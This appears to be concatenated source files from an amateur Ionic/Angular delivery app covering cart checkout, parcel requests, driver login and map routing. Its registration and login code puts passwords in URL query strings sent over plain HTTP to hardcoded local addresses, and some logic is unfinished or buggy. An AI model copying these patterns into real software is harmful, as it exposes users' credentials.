// });
// }
// else
// {
// console.log("error");
// }
//**********************************************For website******************************************* */
if(this.user.password==this.user.ConfirmPassword)
{
console.log(this.user.username);
var url = "http://192.168.0.109:8098/Instant_Help/rest/hello/register";
url = url+"?username="+this.user.username+"&password="+<PASSWORD>+"&emailid="+this.user.emailid;
this.http.get(url).subscribe(data=>{
this.result = data;
console.log(this.result);
this.navCtrl.push(LoginPage);
});
}else{
console.log("error");
}
}
}
<file_sep>/instapp-consumer/src/pages/cart/cart.ts
import { HTTP } from '@ionic-native/http';
import { CartDetailsPage } from './../cart-details/cart-details';
import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import { GlobalCartProvider } from "../../providers/global-cart/global-cart";
import { HttpClient} from '@angular/common/http';
import { Observable } from 'rxjs/Observable';
import { Geolocation } from '@ionic-native/geolocation';
import 'rxjs/add/operator/map';
import { LiveTrackPage } from '../live-track/live-track';
declare var google;
@IonicPage()
@Component({
selector: 'page-cart',
templateUrl: 'cart.html',
})
export class CartPage {
sum = 0;
k=0;
result : any;
data : Observable<any>;
data1 : Observable<any>;
latitude:string;
longitude;
origin1 = {lat:0.0,lng:0.0} ;
dest = [];
matrixToSend :any={"matrix":[]};
dummydata:any;
output: JSON;
output1:JSON;
matrixString : string;
matrixStart : string;
obj: any = {"cart":
this.global.cart
// [
// {"placeName": "value1", "productName": "value2"},
// {"placeName": "value4", "productName": "value5"},
// {"placeName": "value7", "productName": "value8"}
// ]
};
constructor(public navCtrl: NavController, public navParams: NavParams,public global : GlobalCartProvider,
private http: HttpClient,private geolocation : Geolocation,private httpMobile: HTTP) {
console.log(this.global.cart);
this.geolocation.getCurrentPosition().then((resp) => {
this.origin1 = {lat: resp.coords.latitude,lng:resp.coords.longitude};
console.log(this.origin1.lat,this.origin1.lng);
}).catch((error) => {
console.log('Error getting location', error);
});
}
ionViewDidLoad() {
for(var i=0;i<this.global.cart.length;i++)
{
for(var j=0;j<this.global.cart[i].menu.length;j++)
{
this.sum = this.sum + (this.global.cart[i].menu[j].productPrice * this.global.cart[i].menu[j].quantity) ;
}
}
console.log(this.sum);
}
async Checkout()
{
console.log("inside post method");
// this.dummydata = {
// "matrix":["10 mins","10 mins","15 mins","20 mins","5 mins","0 mins","9 mins","10 mins","6 mins","13 mins","0 mins","12 mins","8 mins","8 mins","9 mins","0 mins"]
// }
// var url = "http://192.168.0.100:8098/Instant_Help/rest/matrix/acceptMatrix";
// this.data = this.http.post(url,this.matrixString);
// this.data.subscribe(data => {
// console.log(data);
// this.result = data;
// console.log(this.result);
// },error=>{
// console.log(error);
// });
//****************************************** For Mobile ******************************************
// var url = "http://192.168.0.109:8098/Instant_Help/rest/hello/finalCart";
// this.output = <JSON>this.obj;
// this.httpMobile.setDataSerializer('json');
// await this.httpMobile.post(url,this.output,{}).then(data1 => {
// this.result = JSON.parse(data1.data);
// console.log(this.result);
// })
// .catch(error => {
// console.log(error.status);
// console.log(error.error); // error message as string
// console.log(error.headers);
// });
//-------------------------------------END--------------------------------------------------------
//************************************* *working cart for website*********************************
this.output = <JSON>this.obj;
var url = "http://192.168.0.112:8098/Instant_Help/rest/hello/finalCart";
this.data = await this.http.post(url,this.output);
this.data.map(res => res as JSON).subscribe(data => {
console.log(data);
this.result = data;
console.log(this.result);
},error=>{
console.log(error);
});
//-------------------------------------END--------------------------------------------------------
await this.calculateMatrix();
//await this.FormMatrix();
}
async calculateMatrix()
{
var bounds = new google.maps.LatLngBounds;
var markersArray = [];
for(var i=0;i<this.global.cart.length;i++)
{
this.dest[i] = {lat: parseFloat(this.global.cart[i].placeLat), lng: parseFloat(this.global.cart[i].placeLong)};
}
var destinationIcon = 'https://chart.googleapis.com/chart?' +
'chst=d_map_pin_letter&chld=D|FF0000|000000';
var originIcon = 'https://chart.googleapis.com/chart?' +
'chst=d_map_pin_letter&chld=O|FFFF00|000000';
var geocoder = new google.maps.Geocoder;
var service = new google.maps.DistanceMatrixService;
service.getDistanceMatrix({
origins: [this.origin1],
destinations: this.dest,
travelMode: 'DRIVING',
unitSystem: google.maps.UnitSystem.METRIC,
avoidHighways: false,
avoidTolls: false
}, function(response, status) {
if (status !== 'OK') {
alert('Error was: ' + status);
} else {
var originList = response.originAddresses;
var destinationList = response.destinationAddresses;
for (var i = 0; i < originList.length; i++) {
var results = response.rows[i].elements;
let sourceToAllDestination = '';
for (var j = 0; j < results.length; j++) {
sourceToAllDestination = sourceToAllDestination + results[j].duration.text +",";
console.log(results);
}
document.getElementById('srcToAllDest').innerHTML = sourceToAllDestination;
console.log(sourceToAllDestination);
}
}
});
console.log(document.getElementById('srcToAllDest').innerHTML);
this.matrixStart = await document.getElementById('srcToAllDest').innerHTML;
//***************************************** For Mobile ***************************************** */
// var url = "http://192.168.0.109:8098/Instant_Help/rest/hellodriver/mobile/sendDriverLatLongForCal";
// this.httpMobile.setDataSerializer('json');
// await this.httpMobile.post(url,
// {
// sourceToMultiple : this.matrixStart
// },{}).then(data1 => {
// this.result = data1.data;
// console.log(this.result);
// })
// .catch(error => {
// console.log(error.status);
// console.log(error.error); // error message as string
// console.log(error.headers);
// });
//-------------------------------------END--------------------------------------------------------
//************************* */working cart for website********************************************
var url = "http://192.168.0.112:8098/Instant_Help/rest/hellodriver/sendDriverLatLongForCal";
this.data = await this.http.post(url,this.matrixStart);
this.data.map(res=>res as JSON).subscribe(data => {
console.log(data);
this.result = data;
console.log(this.result);
},error=>{
console.log(error);
})
//-------------------------------------END--------------------------------------------------------
}
async FormMatrix()
{
for(var i=0;i<this.global.cart.length;i++)
{
this.dest[i] = {lat: parseFloat(this.global.cart[i].placeLat), lng: parseFloat(this.global.cart[i].placeLong)};
// console.log("dest"+this.dest[i]);
}
let bounds = new google.maps.LatLngBounds;
let markersArray = [];
let destinationIcon = 'https://chart.googleapis.com/chart?' +
'chst=d_map_pin_letter&chld=D|FF0000|000000';
let originIcon = 'https://chart.googleapis.com/chart?' +
'chst=d_map_pin_letter&chld=O|FFFF00|000000';
let geocoder = new google.maps.Geocoder;
let service = new google.maps.DistanceMatrixService;
service.getDistanceMatrix({
origins: this.dest,
destinations: this.dest,
travelMode: 'DRIVING',
unitSystem: google.maps.UnitSystem.METRIC,
avoidHighways: false,
avoidTolls: false
}, function(response, status) {
if (status !== 'OK') {
alert('Error was: ' + status);
} else {
let originList = response.originAddresses;
let destinationList = response.destinationAddresses;
let matrixsend = [];
let stringToSend = '';
for (let i = 0; i < originList.length; i++) {
let results = response.rows[i].elements;
for (let j = 0; j < results.length; j++) {
// matrixsend.push(results[j].duration.text);
// this.k = this.k +1;
stringToSend = stringToSend+ results[j].duration.text +",";
}
document.getElementById('jugad').innerHTML = stringToSend;
console.log(stringToSend);
}
}
});
this.matrixString = document.getElementById('jugad').innerHTML;
console.log(this.matrixString);
// this.dummydata = {
// "matrix":["10 mins","10 mins","15 mins","20 mins","5 mins","0 mins","9 mins","10 mins","6 mins","13 mins","0 mins","12 mins","8 mins","8 mins","9 mins","0 mins"]
// }
//***************************************** For Mobile ***************************************** */
// var url = "http://192.168.0.109:8098/Instant_Help/rest/matrix/mobile/acceptMatrix";
// this.httpMobile.setDataSerializer('json');
// await this.httpMobile.post(url,{
// matrix :this.matrixString
// },{}).then(data1 => {
// this.result = data1.data;
// console.log(this.result);
// //this.navCtrl.push(LiveTrackPage,{route:this.result});
// })
// .catch(error => {
// console.log(error.status);
// console.log(error.error); // error message as string
// console.log(error.headers);
// });
//-------------------------------------END--------------------------------------------------------
//************************* */working cart for website********************************************
var url = "http://192.168.0.112:8098/Instant_Help/rest/matrix/acceptMatrix";
this.data = await this.http.post(url,this.matrixString);
this.data.map(res=>res as JSON).subscribe(data => {
console.log(data);
this.result = data;
console.log(this.result);
},error=>{
console.log(error);
})
//-------------------------------------END--------------------------------------------------------
}
getBillAmount(){
for(var i=0;i<this.global.cart.length;i++)
{
this.sum = this.sum + (this.global.cart[i].productPrice * this.global.cart[i].quantity);
}
console.log(this.sum);
}
AddAdress()
{
}
// proccedToCheckout()
// {
// this.output = <JSON>this.obj;
// // this.calculateMatrix();
// // this.FormMatrix;
// console.log(this.matrixToSend);
// //POST METHOD
// var url = "http://192.168.43.120:8098/Instant_Help/rest/hello/finalCart";
// this.data = this.http.post(url,this.output);
// this.data.subscribe(data => {
// console.log(data);
// this.result = data;
// console.log(this.result);
// },error=>{
// console.log(error);
// })
// }
// PostData()
// {
// this.output = <JSON>this.obj;
// // console.log(this.global.cart);
// // console.log(this.output);
// // var url = "http://192.168.0.103:8098/Instant_Help/rest/hello/finalCart";
// // this.data = this.http.post(url,this.output);
// // this.data.subscribe(data => {
// // console.log(data);
// // this.result = data;
// // console.log(this.result);
// // },error=>{
// // console.log(error);
// // })
// }
}
// for(var i=0;i<this.global.cart.length;i++)
// {
// this.dest[i] = {lat: parseFloat(this.global.cart[i].placeLat), lng: parseFloat(this.global.cart[i].placeLong)};
// // console.log("dest"+this.dest[i]);
// }
// var bounds = new google.maps.LatLngBounds;
// var markersArray = [];
// var destinationIcon = 'https://chart.googleapis.com/chart?' +
// 'chst=d_map_pin_letter&chld=D|FF0000|000000';
// var originIcon = 'https://chart.googleapis.com/chart?' +
// 'chst=d_map_pin_letter&chld=O|FFFF00|000000';
// var geocoder = new google.maps.Geocoder;
// var service = new google.maps.DistanceMatrixService;
// service.getDistanceMatrix({
// origins: this.dest,
// destinations: this.dest,
// travelMode: 'DRIVING',
// unitSystem: google.maps.UnitSystem.METRIC,
// avoidHighways: false,
// avoidTolls: false
// }, function(response, status) {
// if (status !== 'OK') {
// alert('Error was: ' + status);
// } else {
// var originList = response.originAddresses;
// var destinationList = response.destinationAddresses;
// var matrixsend = [];
// let stringToSend = '';
// for (var i = 0; i < originList.length; i++) {
// var results = response.rows[i].elements;
// for (var j = 0; j < results.length; j++) {
// matrixsend.push(results[j].duration.text);
// this.k = this.k +1;
// console.log(matrixsend);
// stringToSend = stringToSend+ results[j].duration.text +",";
// document.getElementById('jugad').innerHTML = stringToSend;
// console.log(stringToSend);
// }
// }
// // this.matrixToSend = {"matrix":
// // matrixsend
// // };
// // this.output1 = <JSON>this.matrixToSend;
// // console.log(this.output1);
// // console.log(this.matrixToSend);
// // console.log(this.matrixToSend.matrix.length);
// }
// });
<file_sep>/insetlp-provider/src/pages/accept-request/accept-request.ts
import { Component,ViewChild, ElementRef } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import { HttpClient} from '@angular/common/http';
import { Observable } from 'rxjs/Observable';
import { ToastController } from 'ionic-angular';
import { Geolocation } from '@ionic-native/geolocation';
import 'rxjs/add/operator/map';
import { RoutePage } from '../route/route';
import { DisplayInfoProvider } from '../../providers/display-info/display-info';
import { HTTP } from '@ionic-native/http';
import { AfterRequestPage } from '../after-request/after-request';
import { ForgottenRoutePage } from '../forgotten-route/forgotten-route';
declare var google;
@IonicPage()
@Component({
selector: 'page-accept-request',
templateUrl: 'accept-request.html',
})
export class AcceptRequestPage {
@ViewChild('map') mapElement: ElementRef;
user = {
username :'',
password : ''
};
CheckStatus = "Offline";
cart;
checkOnline : boolean=false;
public isToggled: boolean;
checkString:String;
//-------- --------
srcLat;
srcLong;
destLat;
destLong;
currLat;
currLong;
sizeOfProduct;
typeOfProduct;
weightOfProduct;
srcAddr;
destAddr;
flag;
//-------------------
placeName;
placeLat;
placeLong;
placeLocation;
menu = [];
productName;
productPrice;
//--------------------
map: any;
data : Observable<any>;
output: JSON;
result: any;
res: any;
urlString;
infowindow = new google.maps.InfoWindow;
obj1 : any;
i;
j;
obj: any = {
"nouse":[
{
"placeName" : "Vaishali",
"placeLat":78.5487,
"placeLong" : 18.5695,
"placeLocation":"FC",
"Menu":[
{"productName" : "Vadapav","productPrice":12,"quantity":2},
{"productName" : "Dosa","productPrice":80,"quantity":1}
]
},
{
"placeName" : "Sheetal",
"placeLat":79.12487,
"placeLong" : 17.6695,
"placeLocation":"Karvengar",
"Menu":[
{"productName" : "Vadapav","productPrice":12,"quantity":2},
{"productName" : "Dosa","productPrice":80,"quantity":1},
{"productName" : "Raita","productPrice":30,"quantity":1}
]}
]
};
obj2: any = [
{
"menu": [
{
"productName": "Vadapav",
"productPrice": 12,
"quantity": "2"
},
{
"productName": "Dosa",
"productPrice": 80,
"quantity": "1"
}
],
"placeLat": "18.5209",
"placeLocation": "FC",
"placeLong": "73.8412",
"placeName": "Vaishali"
},
{
"menu": [
{
"productName": "Vadapav",
"productPrice": 12,
"quantity": "2"
},
{
"productName": "Dosa",
"productPrice": 80,
"quantity": "1"
},
{
"productName": "Raita",
"productPrice": 30,
"quantity": "1"
}
],
"placeLat": "18.5324",
"placeLocation": "Karvengar",
"placeLong": "73.8298",
"placeName": "J W Marriot"
},
{
"menu": [
{
"productName": "Vadapav",
"productPrice": 12,
"quantity": "2"
},
{
"productName": "Dosa",
"productPrice": 80,
"quantity": "1"
},
{
"productName": "Raita",
"productPrice": 30,
"quantity": "1"
}
],
"placeLat": "18.5245",
"placeLocation": "Karvengar",
"placeLong": "73.8416",
"placeName": "Shabree"
}
]
audio;
constructor(public navCtrl: NavController,public geolocation: Geolocation,private g : DisplayInfoProvider,
public navParams: NavParams,private http: HttpClient,public toastCtrl: ToastController,private httpMobile: HTTP) {
this.currLat= this.navParams.get('lat');
this.currLong=this.navParams.get('long');
this.isToggled = false;
}
toggled()
{
console.log("Toggled: "+ this.isToggled);
this.CheckStatus = "You are Online"
this.checkOnline = true;
this.audio = new Audio("assets/audio1/alarm.mp3");
this.audio.play();
}
async Ignore()
{
this.audio.pause();
this.navCtrl.push(AcceptRequestPage);
}
async AcceptRequestCart()
{
console.log("inside Function");
console.log(this.checkOnline);
this.audio.pause();
//-----------------------------For Mobile----------------------------------------------
//******************************* Start ********************************************** */
// if(this.checkOnline == true)
// {
// var url = "http://192.168.0.103:8098/Instant_Help/rest/hello/sendCompleteDetails";
// //var url = "http://192.168.0.108:8098/Instant_Help/rest/hello/sendCoordinatesToDriver";
// await this.httpMobile.get(url,{}, {}
// ).then(data1 => {
// this.result = JSON.parse(data1.data);
// console.log(this.result);
// console.log(this.result[0].flag);
// this.i=0;
// this.j=0;
// //============================== Cart ================================================
// if(this.result[0].flag == "cart")
// {
// console.log("Inside if");
// for(this.i=0;this.i<this.result.length;this.i++)
// {
// console.log("****************")
// this.placeLocation = this.result[this.i].placeLocation;
// this.placeLat = this.result[this.i].placeLat;
// this.placeLong = this.result[this.i].placeLong;
// this.placeName = this.result[this.i].placeName;
// console.log("****************")
// for(this.j=0;this.j<this.result[this.i].menu.length;this.j++){
// this.menu[this.j] = this.result[this.i].menu[this.j].productName;
// console.log(this.result[this.i].menu[this.j].productName);
// }
// }
// this.g.cart.push(this.result);
// console.log(this.g.cart);
// this.navCtrl.push(RoutePage);
// }
// //============================== Forgotten ================================================
// else
// {
// console.log("Inside Else");
// console.log(this.result[0].srcLat);
// this.srcLat = this.result[0].srcLat;
// this.srcLong = this.result[0].srcLong;
// this.destLat = this.result[0].destLat;
// this.destLong = this.result[0].destLong;
// this.sizeOfProduct = this.result[0].sizeOfProduct;
// this.typeOfProduct = this.result[0].typeOfProduct;
// this.weightOfProduct = this.result[0].weightOfProduct;
// this.srcAddr = this.result[0].srcAddr;
// this.destAddr = this.result[0].destAddr;
// this.g.cart.push(this.result);
// console.log(this.g.cart);
// this.navCtrl.push(ForgottenRoutePage);
// }
// })
// .catch(error => {
// console.log(error);
// console.log(error.status);
// console.log(error.error); // error message as string
// console.log(error.headers);
// });
// }
// else{
// console.log("Wrongg"+this.checkOnline);
// }
//********************************** End ********************************************* */
//--------------------------------- For Website ---------------------------------------
//******************************* Start ********************************************** */
this.output = this.obj;
//this.audio.pause();
var url = "http://192.168.0.103:8098/Instant_Help/rest/hello/sendCompleteDetails";
console.log("inside get method");
this.http.get(url).map(res => res as JSON).subscribe(data => {
console.log("Heelloooo");
console.log(data);
this.result = data;
console.log(this.result);
console.log(this.result.length);
this.i=0;
this.j=0;
//============================== Cart ================================================
if(this.result[0].flag == "cart")
{
for(this.i=0;this.i<this.result.length;this.i++)
{
console.log("****************")
this.placeLocation = this.result[this.i].placeLocation;
this.placeLat = this.result[this.i].placeLat;
this.placeLong = this.result[this.i].placeLong;
this.placeName = this.result[this.i].placeName;
console.log("****************")
for(this.j=0;this.j<this.result[this.i].menu.length;this.j++){
this.menu[this.j] = this.result[this.i].menu[this.j].productName;
console.log(this.result[this.i].menu[this.j].productName);
}
}
this.g.cart.push(this.result);
console.log(this.g.cart);
this.navCtrl.push(RoutePage);
}
//============================== Forgotten ================================================
else
{
console.log("Inside Else");
console.log(this.result[0].srcLat);
this.srcLat = this.result[0].srcLat;
this.srcLong = this.result[0].srcLong;
this.destLat = this.result[0].destLat;
this.destLong = this.result[0].destLong;
this.sizeOfProduct = this.result[0].sizeOfProduct;
this.typeOfProduct = this.result[0].typeOfProduct;
this.weightOfProduct = this.result[0].weightOfProduct;
this.srcAddr = this.result[0].srcAddr;
this.destAddr = this.result[0].destAddr;
this.g.cart.push(this.result);
console.log(this.g.cart);
this.navCtrl.push(ForgottenRoutePage);
}
} ,error=>{
console.log(error);
});
//********************************** End ********************************************* */
}
///%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Timepass%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
// AcceptRequest()
// {
// console.log("inside post method");
// this.output = <JSON>this.obj;
// //var url = "http://192.168.0.111:8098/Instant_Help/rest/hello/sendCart";
// var url = "http://192.168.0.101:8098/Instant_Help/rest/hello/sendForgotten";
// this.http.post(url,this.output).map(res => res as JSON).subscribe(data => {
// console.log(data);
// this.result = data;
// console.log(this.result);
// console.log(this.result[0].srcLat);
// this.srcLat = this.result[0].srcLat;
// this.srcLong = this.result[0].srcLong;
// this.destLat = this.result[0].destLat;
// this.destLong = this.result[0].destLong;
// this.startNavigating();
// //console.log(this.result.srcLong );
// },error=>{
// console.log(error);
// });
// console.log(this.urlString);
// }
// checkString1()
// {
// console.log("Hii");
// //------------------------ Mobile ------------------------------------------
// var url = "http://192.168.0.109:8098/Instant_Help/rest/hello/sendflag";
// this.httpMobile.get(url,{
// tp:"timepass"
// }, {}
// ).then(data1 => {
// this.result = data1.data;
// console.log(this.result);
// if(data1.data == 1)
// {
// console.log("Inside If");
// this.cart = 1;
// console.log(this.cart);
// // this.navCtrl.push(AfterRequestPage,
// // {
// // flag:this.cart
// // });
// }
// else if(data1.data == 0)
// {
// console.log("Inside Else");
// // this.AcceptRequest();
// }
// else
// {
// console.log("Not received any order yet");
// }
// })
// .catch(error => {
// console.log(error.headers);
// });
//******************************** To Next Page ******************* */
//---------------------------------------------------------------------------
// var url = "http://192.168.0.109:8098/Instant_Help/rest/hello/sendflag";
// console.log("Hiiii");
// console.log(url);
// this.http.get(url).subscribe(data=>{
// this.result = data;
// console.log(this.result);
// if(this.result == 1)
// {
// console.log("Inside If");
// this.AcceptRequestCart();
// }
// else if(this.result == 0)
// {
// console.log("Inside Else");
// this.AcceptRequest();
// }
// else
// {
// console.log("Not received any order yet");
// }
// });
//}
//%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Timepass end %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
//-----------------------------------------------------------------------
//************************** Only Maps ************************************************/
ionViewDidLoad() {
this.loadMap();
//this.addMarker();
}
loadMap(){
this.geolocation.getCurrentPosition().then((position)=>{
let latLng = new google.maps.LatLng(position.coords.latitude,
position.coords.longitude);
let mapOptions = {
center: latLng,
zoom: 15,
mapTypeId: google.maps.MapTypeId.ROADMAP
}
this.map = new google.maps.Map(this.mapElement.nativeElement,
mapOptions);
this.addMarker();
}, (err) => {
console.log(err);
});
}
startNavigating(){
let directionsService = new google.maps.DirectionsService;
let directionsDisplay = new google.maps.DirectionsRenderer;
directionsDisplay.setMap(this.map);
directionsService.route({
origin: {lat: parseFloat(this.srcLat), lng: parseFloat(this.srcLong)},
destination: {lat: parseFloat(this.destLat), lng: parseFloat(this.destLong)},
travelMode: google.maps.TravelMode['DRIVING']
}, (res, status) => {
if(status == google.maps.DirectionsStatus.OK){
directionsDisplay.setDirections(res);
//this.infowindow.setContent(res[0].formatted_address);
//infowindow.open(this.map, marker);
} else {
console.warn(status);
}
});
}
addMarker(){
let marker = new google.maps.Marker({
map: this.map,
animation: google.maps.Animation.DROP,
position: this.map.getCenter()
});
let content = "<h4>Information!</h4>";
this.addInfoWindow(marker, content);
}
addInfoWindow(marker, content){
let infoWindow = new google.maps.InfoWindow({
content: content
});
google.maps.event.addListener(marker, 'click', () => {
infoWindow.open(this.map, marker);
});
}
ShowDirections()
{
this.urlString = "https://www.google.com/maps/dir/?api=1&origin="+this.srcLat+","+this.srcLong+"&destination="
+this.destLat+","+this.destLong;
console.log(this.urlString);
}
}
<file_sep>/insetlp-provider/src/app/app.module.ts
import { BrowserModule } from '@angular/platform-browser';
import { ErrorHandler, NgModule } from '@angular/core';
import { IonicApp, IonicErrorHandler, IonicModule } from 'ionic-angular';
import { SplashScreen } from '@ionic-native/splash-screen';
import { StatusBar } from '@ionic-native/status-bar';
import { Camera } from '@ionic-native/camera';
import {Geolocation} from '@ionic-native/geolocation';
import { MyApp } from './app.component';
import { HomePage } from '../pages/home/home';
import { DriverRegisterPage } from '../pages/driver-register/driver-register';
//import { UploadpagePage } from './../pages/uploadpage/uploadpage';
import { updateDate } from 'ionic-angular/umd/util/datetime-util';
import { GeoLocationPage } from '../pages/geo-location/geo-location';
import { UploadPage } from '../pages/upload/upload';
import {HttpClientModule} from '@angular/common/http';
import { AcceptRequestPage } from '../pages/accept-request/accept-request';
import { RoutePage } from '../pages/route/route';
import { DisplayInfoProvider } from '../providers/display-info/display-info';
import { BrowserAnimationsModule } from "@angular/platform-browser/animations";
import { MatCardModule} from '@angular/material';
import { StartPage } from '../pages/start/start';
import { HTTP } from '@ionic-native/http';
import { AfterRequestPage } from '../pages/after-request/after-request';
import { ForgottenRoutePage } from '../pages/forgotten-route/forgotten-route';
@NgModule({
declarations: [
MyApp,
HomePage,
RoutePage,
DriverRegisterPage,
UploadPage,
GeoLocationPage,
AcceptRequestPage,
StartPage,
AfterRequestPage,
ForgottenRoutePage
],
imports: [
BrowserModule,
MatCardModule,
HttpClientModule,
IonicModule.forRoot(MyApp),
BrowserAnimationsModule
],
bootstrap: [IonicApp],
entryComponents: [
MyApp,
HomePage,
DriverRegisterPage,
UploadPage,
RoutePage,
GeoLocationPage,
AcceptRequestPage,
StartPage,
AfterRequestPage,
ForgottenRoutePage
],
providers: [
StatusBar,
SplashScreen,
Geolocation,
{provide: ErrorHandler, useClass: IonicErrorHandler},
Camera,
DisplayInfoProvider,
HTTP
]
})
export class AppModule {}
<file_sep>/insetlp-provider/src/pages/home/home.ts
import { Component } from '@angular/core';
import { NavController } from 'ionic-angular';
import { Observable } from 'rxjs/Observable';
import { ToastController } from 'ionic-angular';
import { HttpClient} from '@angular/common/http';
import { DriverRegisterPage } from '../driver-register/driver-register';
import { Geolocation } from '@ionic-native/geolocation';
import { HTTP } from '@ionic-native/http';
import { AcceptRequestPage } from '../accept-request/accept-request';
import { AfterRequestPage } from '../after-request/after-request';
@Component({
selector: 'page-home',
templateUrl: 'home.html'
})
export class HomePage {
user = {
username :'',
password : ''
};
status = false;
result: any;
userdata:string;
id :any = 101;
data : Observable<any>;
Latitude ;
Longitude ;
constructor(public navCtrl: NavController,private http: HttpClient,public toastCtrl: ToastController
,public geolocation: Geolocation,private httpMobile: HTTP){
this.geolocation.getCurrentPosition().then((resp) => {
this.Latitude = resp.coords.latitude.toString();
this.Longitude = resp.coords.longitude.toString();
console.log(this.Latitude+" "+this.Longitude);
}).catch((error) => {
console.log('Error getting location', error);
});
}
getMethod()
{
this.navCtrl.push(DriverRegisterPage);
var url = "http://192.168.0.104:8098/Instant_Help/rest/hello/login";
url = url+"?username="+this.user.username+"&password="+this.user.password;
this.http.get(url).subscribe(data=>{
this.result = data;
console.log(this.result);
if(this.result == 1 )
{
this.presentToast();
this.navCtrl.push(AcceptRequestPage);
}
else if(this.result == 99){
this.status = true;
console.log("error while logging");
}
});
}
driverLogin()
{
//************************************** For Website ********************************* */
// var url = "http://192.168.0.109:8098/Instant_Help/rest/hellodriver/driverlogin/website";
// url = url+"?username="+this.user.username+"&password="+this.user.password+"&Latitude="+this.Latitude+"&Longitude="+this.Longitude;
// console.log(url);
// this.http.get(url).subscribe(data=>{
// this.result = data;
// console.log(this.result);
// if(this.result == 1 )
// {
// // this.presentToast();
// this.navCtrl.push(AcceptRequestPage,
// {
// lat : this.Latitude,
// long : this.Latitude
// });
// }
// else if(this.result == 99){
// this.status = true;
// // this.navCtrl.push(AcceptRequestPage,
// // {
// // lat : this.Latitude,
// // long : this.Latitude
// // });
// // console.log("error while logging");
// }
// });
//************************************************************************************************** */
// this.navCtrl.push(AcceptRequestPage,
// {
// lat : this.Latitude,
// long : this.Latitude
// });
// this.navCtrl.push(AfterRequestPage);
//*************************************************************** */
this.navCtrl.push(AcceptRequestPage,
{
lat : this.Latitude,
long : this.Latitude
});
//***************************************** For Mobile *************/
// var url = "http://192.168.0.109:8098/Instant_Help/rest/hellodriver/driverlogin/mobile";
// this.httpMobile.get(url,{username : 'Aditi',
// password : '<PASSWORD>',
// Latitude : this.Latitude,
// Longitude : this.Longitude
// }, {'Content-Type': 'application/json'}
// ).then(data1 => {
// this.result = data1.data;
// console.log(this.result);
// if(this.result == 1 )
// {
// // this.presentToast();
// this.navCtrl.push(AcceptRequestPage,
// {
// lat : this.Latitude,
// long : this.Latitude
// });
// }
// else if(this.result == 99){
// this.status = true;
// console.log("error while logging");
// }
// })
// .catch(error => {
// console.log(error.status);
// console.log(error.error); // error message as string
// console.log(error.headers);
// });
//----------------------------------------------------------------------------
}
presentToast()
{
const toast = this.toastCtrl.create(
{
message : 'Logged in Successfully',
duration : 3000
}
);
toast.present();
}
}
<file_sep>/instapp-consumer/src/pages/forgotten/forgotten.ts
import { HTTP } from '@ionic-native/http';
import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import { Observable } from 'rxjs/Observable';
import { HttpClient} from '@angular/common/http';
import { ActionSheetController } from 'ionic-angular'
import {ModalController,ViewController} from 'ionic-angular';
import 'rxjs/add/operator/map';
@IonicPage()
@Component({
selector: 'page-forgotten',
templateUrl: 'forgotten.html',
})
export class ForgottenPage {
parcel ={
typeOfProduct:'',
sizeOfProduct: '',
weightOfProduct: '',
srcAddr:'',
destAddr :''
}
obj : any;
output: JSON;
srcAdress = {
name : '',
lat : '',
long : ''
};
destAdress = {
name : '',
lat : '',
long : ''
};
product = "mobile";
srcLatitude :any;
// obj: any = {"product":
// [
// {typeOfProduct: "value1", sizeOfProduct: "value2"}
// ]
// };
result : JSON;
data : Observable<any>;
accept_terms ;
flag=false;
flag1=false;
constructor(public navCtrl: NavController, public navParams: NavParams,private http: HttpClient,
public actionSheetCtrl: ActionSheetController,public modalCtrl:ModalController,private httpMobile: HTTP) {
}
async ForgottenForm()
{
this.obj = {"product":
[
{typeOfProduct:this.parcel.typeOfProduct,sizeOfProduct:this.parcel.sizeOfProduct,weightOfProduct:this.parcel.weightOfProduct,
srcAddr : this.srcAdress.name,srcLat:this.srcAdress.lat,srcLong:this.srcAdress.long,
destAddr:this.destAdress.name,destLat:this.destAdress.lat,destLong:this.destAdress.long},
]
}
// var url = "http://192.168.43.120:8098/Instant_Help/rest/hello/forgotten";
// //this.obj =[this.parcel];
// console.log(this.obj);
// this.output = <JSON>this.obj;
// this.data = this.http.post(url,this.output);
// this.data.subscribe(data => {
// console.log(data);
// this.result = data as JSON;
// console.log(this.result);
// },error=>{
// console.log(error);
// })
//********************** For Mobile ******************** */
var url = "http://192.168.0.109:8098/Instant_Help/rest/hello/forgotten";
this.output = <JSON>this.obj;
console.log(this.output);
this.httpMobile.setDataSerializer('json');
this.httpMobile.post(url,this.output,{ }).then(data1 => {
this.result = data1.data;
console.log(this.result);
})
.catch(error => {
console.log(error.status);
console.log(error.error); // error message as string
console.log(error.headers);
});
//-------------------END----------------------------------------
// ******************* POST start for website********************************
// console.log(this.parcel);
// //this.output = [this.parcel];
// // console.log(this.output);
// var url = "http://192.168.0.109:8098/Instant_Help/rest/hello/forgotten";
// this.output = <JSON>this.obj;
// console.log(this.output);
// this.data = await this.http.post(url,this.output).map(res => res as JSON);
// this.data.subscribe(data => {
// console.log(data);
// this.result = data;
// console.log(this.result);
// },error=>{
// console.log(error);
// })
//end
}
SourceAdress()
{
const myModal = this.modalCtrl.create('GetLocationMapPage');
myModal.present();
myModal.onDidDismiss((data)=>
{
this.srcAdress.name = data.name;
this.srcAdress.lat = data.lat;
this.srcAdress.long = data.long;
console.log(this.srcAdress);
})
this.flag = true;
}
destinationAddress()
{
const myModal = this.modalCtrl.create('GetLocationMapPage');
myModal.present();
myModal.onDidDismiss((data)=>
{
this.destAdress.name = data.name;
this.destAdress.lat = data.lat;
this.destAdress.long = data.long;
console.log(this.destAdress);
})
this.flag1 = true;
}
}
<file_sep>/instapp-consumer/src/pages/home/home.ts
import { DisplayDetailedDataPage } from './../display-detailed-data/display-detailed-data';
import { ForgottenPage } from './../forgotten/forgotten';
import { ContactPage } from './../contact/contact';
import { DisplayCategoryPage } from './../display-category/display-category';
import { Component } from '@angular/core';
import { IonicPage, NavController, NavParams } from 'ionic-angular';
import { GlobalCartProvider } from "../../providers/global-cart/global-cart";
import * as firebase from 'firebase';
import { snapshotToArray } from './../../app/environment';
@Component({
selector: 'page-home',
templateUrl: 'home.html'
})
export class HomePage {
public countryList:Array<any>;
public loadedCountryList:Array<any>;
public countryRef:firebase.database.Reference;
slideOpts = {
effect: 'flip'
};
flag = false;
